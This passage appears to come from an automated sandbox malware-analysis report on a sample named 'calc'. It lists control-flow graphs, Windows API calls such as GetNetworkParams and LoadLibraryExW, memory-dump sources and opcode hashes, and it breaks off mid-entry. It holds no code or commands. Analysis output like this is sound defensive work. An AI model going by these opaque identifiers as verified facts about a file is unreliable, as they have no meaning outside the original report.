23510 7e63dc8 23511 7e63e42 RegQueryValueExW 23510->23511 23513 7e63efa 23511->23513 23514 7e64fc8 23515 7e64fea 23514->23515 23518 7e6274c 23515->23518 23517 7e6501e 23519 7e65138 LoadLibraryExW 23518->23519 23521 7e65217 23519->23521 23521->23517 23522 7e6cb98 23523 7e6e6f0 GetNetworkParams 23522->23523 23525 7e6e7a2 23523->23525

                                                                                                                                                            Executed Functions

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 0 64381e0-643820f 2 6438211 0->2 3 6438216-6438238 0->3 2->3 5 6438290-64382a3 3->5 6 643823a-643824b 3->6 9 64382a5-64382b6 5->9 10 64382f8-6438309 5->10 11 6438265-643827e 6->11 12 643824d-6438263 6->12 17 64382d0-64382e9 9->17 18 64382b8-64382ce 9->18 20 643830b-6438324 10->20 21 6438329-6438340 10->21 22 64385b9-64385cd 11->22 12->11 19 6438283-643828b 12->19 17->22 18->17 30 64382ee-64382f6 18->30 19->21 20->22 28 6438342-6438359 21->28 29 643838d-64383a6 21->29 28->29 33 643835b-6438372 28->33 29->22 30->21 33->29 35 6438374-643838b 33->35 35->29 37 64383ab-64383c2 35->37 56 64383c5 call 64385d0 37->56 57 64383c5 call 64385e0 37->57 38 64383cb-64383d2 39 64383d4-64383d9 38->39 40 64383de-6438412 38->40 39->22 42 6438414-6438419 40->42 43 643841e-6438454 40->43 42->22 45 6438460-6438496 43->45 46 6438456-643845b 43->46 48 64384a2-64384ba 45->48 49 6438498-643849d 45->49 46->22 50 64384c3-64384ca 48->50 49->22 51 64384d6-64384df 50->51 52 64384cc-64384d1 50->52 53 64384e1-64384fa 51->53 54 64384ff-64385b7 51->54 52->22 53->22 54->22 56->38 57->38
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: $$&$&$($)$-$-$-$-${$}
                                                                                                                                                            • API String ID: 0-767661271
                                                                                                                                                            • Opcode ID: e8e4e74e506c80a7ed224200724e3481e597a4855dac316977a36205585d2515
                                                                                                                                                            • Instruction ID: 7cb92ba63ac27cba9fc0c4f0a3ff30310d66cfa53d514791fcb15a7bb49e30ed
                                                                                                                                                            • Opcode Fuzzy Hash: e8e4e74e506c80a7ed224200724e3481e597a4855dac316977a36205585d2515
                                                                                                                                                            • Instruction Fuzzy Hash: 98D1D070E00368CFDB15CFA9C884AEEBBB2FF89305F54856AE405AB355D7349946CB90
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 58 7e64b20-7e64bb6 59 7e64bcd-7e64bd8 58->59 60 7e64bb8-7e64bca 58->60 61 7e64c85-7e64c89 59->61 62 7e64bde-7e64c21 59->62 60->59 63 7e64ccd-7e64ce7 61->63 64 7e64c8b-7e64cc7 61->64 76 7e64c23-7e64c2b 62->76 77 7e64c5f-7e64c6a 62->77 65 7e64ced-7e64d27 63->65 66 7e64d8b-7e64d8f 63->66 64->63 92 7e64d65-7e64d70 65->92 93 7e64d29-7e64d31 65->93 68 7e64dc7-7e64e3e GetFileMUIPath 66->68 69 7e64d91-7e64dc1 66->69 73 7e64e47-7e64e7d 68->73 74 7e64e40-7e64e46 68->74 69->68 84 7e64e93-7e64e9b 73->84 85 7e64e7f-7e64e8b 73->85 74->73 80 7e64c4e-7e64c5d 76->80 81 7e64c2d-7e64c37 76->81 89 7e64c70-7e64c7f 77->89 80->89 87 7e64c3b-7e64c4a 81->87 88 7e64c39 81->88 95 7e64eb1-7e64ee3 84->95 96 7e64e9d-7e64ea9 84->96 85->84 87->87 94 7e64c4c 87->94 88->87 89->61 105 7e64d76-7e64d85 92->105 97 7e64d54-7e64d63 93->97 98 7e64d33-7e64d3d 93->98 94->80 108 7e64ee5-7e64ee9 95->108 109 7e64ef3-7e64ef7 95->109 96->95 97->105 102 7e64d41-7e64d50 98->102 103 7e64d3f 98->103 102->102 107 7e64d52 102->107 103->102 105->66 107->97 108->109 112 7e64eeb 108->112 110 7e64f07 109->110 111 7e64ef9-7e64efd 109->111 111->110 113 7e64eff 111->113 112->109 113->110
                                                                                                                                                            APIs
                                                                                                                                                            • GetFileMUIPath.KERNEL32(?,?,00000000,?,00000000,?,?), ref: 07E64E2B
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375176984.0000000007E60000.00000040.00000001.sdmp, Offset: 07E60000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7e60000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FilePath
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 809029892-0
                                                                                                                                                            • Opcode ID: b990083cdb22f4a1e35cda650e674719a4fd0a60662ee63d390c52d3fb745ca3
                                                                                                                                                            • Instruction ID: 363e82cd94539871091a0024a8f212da25a659d10846a4bc2ce26b40cc438a3d
                                                                                                                                                            • Opcode Fuzzy Hash: b990083cdb22f4a1e35cda650e674719a4fd0a60662ee63d390c52d3fb745ca3
                                                                                                                                                            • Instruction Fuzzy Hash: 2AC105B4D01269CFDB64DFA8C884B9DBBF1BF4A304F1095A9D819A7390DB709A85CF41
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 150 7957824-795d5de GetTimeZoneInformation 152 795d5e7-795d69e 150->152 153 795d5e0-795d5e6 150->153 162 795d6d4 152->162 163 795d6a0-795d6c9 152->163 153->152 165 795d6d5 162->165 163->162 165->165
                                                                                                                                                            APIs
                                                                                                                                                            • GetTimeZoneInformation.KERNEL32(?), ref: 0795D5CB
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InformationTimeZone
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 565725191-0
                                                                                                                                                            • Opcode ID: 9a4570925314ccc22acb5d0c869c1ece64b5fbfd8e28c4bc14d1bc4089d8778f
                                                                                                                                                            • Instruction ID: c76d1860fa8c610874075b9b9a74b32480db423bef1915a92863062ea7faf577
                                                                                                                                                            • Opcode Fuzzy Hash: 9a4570925314ccc22acb5d0c869c1ece64b5fbfd8e28c4bc14d1bc4089d8778f
                                                                                                                                                            • Instruction Fuzzy Hash: 9F41D4B0D0162C8BCB64DF99C984BCABBF4AB59304F0085E99649B7210D7705E85CF95
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 178 7e6cb98-7e6e7a0 GetNetworkParams 181 7e6e7a2-7e6e7a8 178->181 182 7e6e7a9-7e6e7f0 178->182 181->182 185 7e6e7f2 182->185 186 7e6e7fa 182->186 185->186
                                                                                                                                                            APIs
                                                                                                                                                            • GetNetworkParams.IPHLPAPI(?,?), ref: 07E6E790
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375176984.0000000007E60000.00000040.00000001.sdmp, Offset: 07E60000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7e60000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: NetworkParams
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2134775280-0
                                                                                                                                                            • Opcode ID: c3c5056299cc8807b58568ad52d142edbc9d8d4aceb8fe3a11748f8577cced4f
                                                                                                                                                            • Instruction ID: 568b37f3ab207628f8fad15e654d57d250fd060d13e74912ac7830bbaabfb2cb
                                                                                                                                                            • Opcode Fuzzy Hash: c3c5056299cc8807b58568ad52d142edbc9d8d4aceb8fe3a11748f8577cced4f
                                                                                                                                                            • Instruction Fuzzy Hash: 1931CBB8D012589FCB14CFAAD588A9EFBF1BB09310F14A42AE815BB340D775A845CF54
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 187 6439988-64399bd 189 64399c4-64399fc 187->189 190 64399bf 187->190 192 64399fe-6439a11 189->192 193 6439a6d-6439ac3 189->193 190->189 192->193 194 6439a13-6439a62 192->194 198 6439ac5-6439b04 193->198 199 6439b0f-6439b13 193->199 194->193 198->199 201 6439b15-6439b54 199->201 202 6439b5f-6439be4 199->202 201->202 258 6439be7 call 643a710 202->258 259 6439be7 call 643a720 202->259 220 6439bed-6439c31 256 6439c34 call 643b5c0 220->256 257 6439c34 call 643b5b0 220->257 224 6439c3a-6439cd9 234 6439ce5-6439cf3 224->234 235 6439cdb-6439cdf 224->235 237 6439cf5-6439cfc 234->237 238 6439cfe-6439d04 234->238 235->234 236 6439d73-6439e5e 235->236 248 6439e75-6439e79 236->248 237->238 239 6439d06-6439d0d 237->239 240 6439d1a-6439d70 238->240 242 6439d14-6439d17 239->242 243 6439d0f 239->243 242->240 243->242 249 6439e60-6439e72 248->249 250 6439e7b-6439e97 248->250 249->248 252 6439ea1 250->252 253 6439e99 250->253 255 6439ea2 252->255 253->252 255->255 256->224 257->224 258->220 259->220
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: >
                                                                                                                                                            • API String ID: 0-325317158
                                                                                                                                                            • Opcode ID: 379d1a31eefaa4ec218390cc4de209064b974fea59bb544d1ca259a86f32dc63
                                                                                                                                                            • Instruction ID: dd81174a4b4046e70db71260969db79e20ffdc393674763a19ff0225496b1186
                                                                                                                                                            • Opcode Fuzzy Hash: 379d1a31eefaa4ec218390cc4de209064b974fea59bb544d1ca259a86f32dc63
                                                                                                                                                            • Instruction Fuzzy Hash: 73E11874E10219CFDB54DFA9D884A9DBBF2FF89304F10856AE409AB354EB70A985CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 260 79579a0-79579ca 262 79579d1-7957a84 260->262 263 79579cc 260->263 270 7957a86-7957a9a 262->270 271 7957a9f-7957aad 262->271 263->262 272 7957f3a-7957f40 270->272 273 7957f1a-7957f1e 271->273 276 7957f42 272->276 277 7957f4d 272->277 274 7957f24-7957f38 273->274 275 7957ab2-7957ac3 call 7957518 273->275 274->272 281 7957ac4-7957ad9 275->281 276->277 280 7957f4e 277->280 280->280 283 7957b9d-7957bd6 281->283 284 7957adf-7957b1e 281->284 290 7957d00-7957d07 283->290 289 7957b68-7957b6f 284->289 293 7957b71-7957b8d 289->293 294 7957b20-7957b62 289->294 291 7957be4-7957c13 290->291 292 7957d0d-7957d1f 290->292 307 7957c15-7957c21 291->307 308 7957c3d 291->308 301 7957d21-7957d29 292->301 302 7957d2b-7957d41 292->302 299 7957b8f 293->299 300 7957b9a 293->300 294->289 299->300 300->283 303 7957d68-7957d76 301->303 309 7957d43-7957d49 302->309 310 7957d4b-7957d65 302->310 311 7957d7f-7957d8c 303->311 313 7957c23-7957c29 307->313 314 7957c2b-7957c31 307->314 315 7957c43-7957c50 308->315 309->303 310->303 318 7957d96-7957d9d 311->318 319 7957d8e-7957d94 311->319 320 7957c3b 313->320 314->320 316 7957c95-7957c9e 315->316 317 7957c52-7957c93 315->317 339 7957ca0 call 7959661 316->339 340 7957ca0 call 7959670 316->340 341 7957ca0 call 79597e8 316->341 317->290 318->281 323 7957da3-7957da7 318->323 322 7957dfd-7957dfe 319->322 320->315 322->273 323->281 324 7957dad-7957dd8 323->324 336 7957df8-7957dfa 324->336 337 7957dda-7957df2 324->337 326 7957ca6-7957cad 327 7957ce0-7957ce6 326->327 328 7957caf-7957cb3 326->328 333 7957cee-7957cfa 327->333 331 7957cb5-7957ccb 328->331 332 7957ccd-7957cdd 328->332 331->327 331->332 332->327 333->290 336->322 337->281 337->336 339->326 340->326 341->326
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: 0u
                                                                                                                                                            • API String ID: 0-3203441087
                                                                                                                                                            • Opcode ID: 7b35af081c041b67f79bfe5f90edc8ccbd3484d677c53b1f356a0e9544e4e7b0
                                                                                                                                                            • Instruction ID: 5abc66e7ba6e0b2d0c0f149a15a97375b71dcb8f055f5c83756209b78c086c04
                                                                                                                                                            • Opcode Fuzzy Hash: 7b35af081c041b67f79bfe5f90edc8ccbd3484d677c53b1f356a0e9544e4e7b0
                                                                                                                                                            • Instruction Fuzzy Hash: E6D1F5B0E01228CFDB24DFA5D844BADBBB6FF89305F1484A9D809AB351DB755A85CF10
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 342 643997a-64399bd 345 64399c4-64399fc 342->345 346 64399bf 342->346 348 64399fe-6439a11 345->348 349 6439a6d-6439a8c 345->349 346->345 348->349 350 6439a13-6439a62 348->350 351 6439a96-6439ab0 349->351 350->349 353 6439abc-6439ac3 351->353 354 6439ac5-6439b04 353->354 355 6439b0f-6439b13 353->355 354->355 357 6439b15-6439b54 355->357 358 6439b5f-6439bdc 355->358 357->358 375 6439be4 358->375 414 6439be7 call 643a710 375->414 415 6439be7 call 643a720 375->415 376 6439bed-6439c29 379 6439c31 376->379 412 6439c34 call 643b5c0 379->412 413 6439c34 call 643b5b0 379->413 380 6439c3a-6439cd9 390 6439ce5-6439cf3 380->390 391 6439cdb-6439cdf 380->391 393 6439cf5-6439cfc 390->393 394 6439cfe-6439d04 390->394 391->390 392 6439d73-6439e5e 391->392 404 6439e75-6439e79 392->404 393->394 395 6439d06-6439d0d 393->395 396 6439d1a-6439d70 394->396 398 6439d14-6439d17 395->398 399 6439d0f 395->399 398->396 399->398 405 6439e60-6439e72 404->405 406 6439e7b-6439e97 404->406 405->404 408 6439ea1 406->408 409 6439e99 406->409 411 6439ea2 408->411 409->408 411->411 412->380 413->380 414->376 415->376
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: >
                                                                                                                                                            • API String ID: 0-325317158
                                                                                                                                                            • Opcode ID: d4dbfb53191efd7b14da3a3ff3e450b1ccbbb3f9dd23bfc4021b170c9d5656f1
                                                                                                                                                            • Instruction ID: 19a63e006da1c97f7d7cabe476c8c25daada5275f1b8a21135f2be9d21e73672
                                                                                                                                                            • Opcode Fuzzy Hash: d4dbfb53191efd7b14da3a3ff3e450b1ccbbb3f9dd23bfc4021b170c9d5656f1
                                                                                                                                                            • Instruction Fuzzy Hash: D5C12774E00219CFDB54DFA9D884A9DBBF2FF89304F108569E509AB354EB70A985CF40
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 466 6437ec8-6437ef7 468 6437ef9 466->468 469 6437efe-6437f2d 466->469 468->469 470 6437f2f-6437f48 469->470 471 6437f4d-6437f71 469->471 474 64381b3-64381c7 470->474 476 6437f73-6437f8c 471->476 477 6437f91-6437fb6 471->477 476->474 481 6437fb8-6437fbf 477->481 482 6437fdf-6437fe6 477->482 483 6437fc1-6437fda 481->483 484 6438006-643802b 481->484 482->484 485 6437fe8-6438001 482->485 483->474 489 6438054-643805b 484->489 490 643802d-6438034 484->490 485->474 492 643807b-64380a0 489->492 493 643805d-6438076 489->493 491 6438036-643804f 490->491 490->492 491->474 497 64380a2-64380a9 492->497 498 64380c9-64380d0 492->498 493->474 500 64380f0-64380f5 497->500 501 64380ab-64380c4 497->501 499 64380d2-64380eb 498->499 498->500 499->474 502 6438113-6438117 500->502 503 64380f7-64380fa 500->503 501->474 506 6438132-6438149 502->506 507 6438119-6438130 502->507 512 64380fd call 64381d0 503->512 513 64380fd call 64381e0 503->513 510 64381ab-64381b1 506->510 507->510 508 6438103-643810e 508->510 510->474 512->508 513->508
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 0-3916222277
                                                                                                                                                            • Opcode ID: 1a924056e015d608f21e64e9bd358f449e4407354e58f447f9fe81f5f9f00415
                                                                                                                                                            • Instruction ID: 1cd0b3d0915ff678a4340cf8f49d46170f18fe171060c6822b10430df0c4491a
                                                                                                                                                            • Opcode Fuzzy Hash: 1a924056e015d608f21e64e9bd358f449e4407354e58f447f9fe81f5f9f00415
                                                                                                                                                            • Instruction Fuzzy Hash: 6581FF74D04268DFEB19CFA5D8487EEFBB6FF88304F14802AE8056A794DB784946CB50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 061fb1b6f7b92631d57b4acdf7161dea79d27ae53bfb7cb83da201fd90985969
                                                                                                                                                            • Instruction ID: dfeacd42eb8411cc52bdef1e6d7ca10a46b989e6708df89ede5afc20aba4b85f
                                                                                                                                                            • Opcode Fuzzy Hash: 061fb1b6f7b92631d57b4acdf7161dea79d27ae53bfb7cb83da201fd90985969
                                                                                                                                                            • Instruction Fuzzy Hash: F5F138B0E01259DFDB14CFA9D488BEDBBB2FF49308F558069E821AB266C7749845CF44
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: f37dc31845155c3bf820a79f26a74868a5dd0b9c2d768396f194401854fccebe
                                                                                                                                                            • Instruction ID: bc1ec8bbeb96b8f36f2e17e7d2026134b4f8b2797e8302a2e844aa6a8ba426ac
                                                                                                                                                            • Opcode Fuzzy Hash: f37dc31845155c3bf820a79f26a74868a5dd0b9c2d768396f194401854fccebe
                                                                                                                                                            • Instruction Fuzzy Hash: BDC1B174E00219CFDB54DFE9C984AAEFBB6FF98301F10852AD515AB254DB30A942CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 2a0b7ff51338290e8688a97f4d7284e998dfb94c008e1f31b082a786240c3e51
                                                                                                                                                            • Instruction ID: 611bd4935ee296e883e731c83415de6a6d3b0b179cd1117c6846cb14b6ac4f4e
                                                                                                                                                            • Opcode Fuzzy Hash: 2a0b7ff51338290e8688a97f4d7284e998dfb94c008e1f31b082a786240c3e51
                                                                                                                                                            • Instruction Fuzzy Hash: 0BD1F234E00228CFDB64DF65C984B9DBBB6FF88304F1085A9D549AB254DB31AD85CFA0
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 61e4d884728981daf308a88c521dda6b1a2a1c4a2b0aeb1c8bb8b7cd21627960
                                                                                                                                                            • Instruction ID: 5c55c18ebe538b76e978d053367bf7b3ae50a996e09f031dfd708b5376a19e01
                                                                                                                                                            • Opcode Fuzzy Hash: 61e4d884728981daf308a88c521dda6b1a2a1c4a2b0aeb1c8bb8b7cd21627960
                                                                                                                                                            • Instruction Fuzzy Hash: 3BC1F374E00229CFDB68DF65D894BADBBB6BF89304F5084A9D949AB290DF305D85CF10
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: cfa55d19097c0851e131b030c1c09e3a8ffe6b7e2a8a5e8c6cb3c0fad6bea6ec
                                                                                                                                                            • Instruction ID: 271f423c0c1ea35dee4c814d88d1b1b52b2a63855a4d295d642ef8f0e647d66d
                                                                                                                                                            • Opcode Fuzzy Hash: cfa55d19097c0851e131b030c1c09e3a8ffe6b7e2a8a5e8c6cb3c0fad6bea6ec
                                                                                                                                                            • Instruction Fuzzy Hash: FFC1D631C20B1ACADB10EFA8C844A99B7B5FF99300F11C69AE55977150EB70A6D4CF91
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: f2e975261d7b46de5131d4884e68b6716dbb2b5d92da04206bfcc9569cf219d2
                                                                                                                                                            • Instruction ID: 3d2f6632b5d6297ad5ea15df6cc63773a3626994518f3099d9c6ee88582321a8
                                                                                                                                                            • Opcode Fuzzy Hash: f2e975261d7b46de5131d4884e68b6716dbb2b5d92da04206bfcc9569cf219d2
                                                                                                                                                            • Instruction Fuzzy Hash: 78C1B0B4E102288FDB14DFA9D994A9DBBF2FF89304F1081A9E809AB355DB345D85CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 858adfd717b6c0207e432ea2654ca79c772bd52654fb8cbce9ce005224a2bb6e
                                                                                                                                                            • Instruction ID: 1dc496c415123010a1d555561ae5820f9446d59418577b951dc1204223b9e665
                                                                                                                                                            • Opcode Fuzzy Hash: 858adfd717b6c0207e432ea2654ca79c772bd52654fb8cbce9ce005224a2bb6e
                                                                                                                                                            • Instruction Fuzzy Hash: 82B1E5B4D10219CFCB14DFA5D5886EDFBB2FF88309F10856AE816AB254EB346985CF40
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 32b5562cfc67af70430951a304251d591ce4e3dd77e50c8ab664414030748c44
                                                                                                                                                            • Instruction ID: 16b36759e85f70a5c839a44a048618cc08fc6c456e197e55736f2d0e28079aba
                                                                                                                                                            • Opcode Fuzzy Hash: 32b5562cfc67af70430951a304251d591ce4e3dd77e50c8ab664414030748c44
                                                                                                                                                            • Instruction Fuzzy Hash: 06B1D3B4E00228CFDB14DFA9D994A9DBBF2FF89305F10816AD809AB365DB349945CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375176984.0000000007E60000.00000040.00000001.sdmp, Offset: 07E60000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7e60000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 149f6c7e0a6f682a1f4956a80df25e9dc5553f8967cff87168d35a8ef0aae5ff
                                                                                                                                                            • Instruction ID: e57d97c12136eeb123af3a82f1a60f0057e5d12f015f7462b802badf69363b57
                                                                                                                                                            • Opcode Fuzzy Hash: 149f6c7e0a6f682a1f4956a80df25e9dc5553f8967cff87168d35a8ef0aae5ff
                                                                                                                                                            • Instruction Fuzzy Hash: F7A117B0E00319CFDB25DFA5C848BAEBBB2FF89304F1085A9D509AB250DB755A85CF41
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 67bfb357be0542de1757db7aa78c78fdb0606914f61b55665aefb3ad902accee
                                                                                                                                                            • Instruction ID: 73497ce9dbeb5a0daf18ebe6fcd20b9ff5d1be34b17359e9125e7ca94faac8f4
                                                                                                                                                            • Opcode Fuzzy Hash: 67bfb357be0542de1757db7aa78c78fdb0606914f61b55665aefb3ad902accee
                                                                                                                                                            • Instruction Fuzzy Hash: 988117B0E00228CFDB68DF79C884BADBBB6BF89304F1484A9D849A7251DB305985CF10
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
